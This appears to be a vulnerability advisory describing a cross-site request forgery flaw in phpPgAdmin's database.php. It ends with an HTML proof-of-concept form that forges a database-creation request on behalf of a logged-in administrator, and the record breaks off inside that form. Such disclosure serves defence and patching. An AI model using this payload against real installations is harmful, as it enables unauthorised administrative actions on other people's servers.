vulnerability cross-site request forgery (csrf)
severity 6.3
language php
registry packagist


phppgadmin/phppgadmin is a web-based administration tool for PostgreSQL. It is perfect for PostgreSQL DB newbies and hosting services, this package is vulnerable to Cross-site Request Forgery (CSRF).

Multiple areas within the application allows sensitive actions to be performed without validating that the request originated from the application. One such area, database.php, does not verify the source of an HTTP request. This can be leveraged by a remote attacker to trick a logged-in administrator to visit a malicious page with a CSRF exploit and execute arbitrary system commands on the server.

Proof of Concept

  <script>history.pushState('', '', '/')</script>
    <form action="" method="POST">
      <input type="hidden" name="formName" value="HACKED" />
      <input type="hidden" name="formAuth" value="mik317" />
      <input type="hidden" name="formComment" value="HACKED" />
      <input type="hidden" name="action" value="create" />
      <input type="hidden" name="database" value="test1" />
      <input type="hidden" name="server" value="&#58;5432&#58;allow" />
      <input type="hidden" name="database" value="test1" />
      <input type="hidden" name="create" value="Create" />
      <input type="submit" value="Submit request" />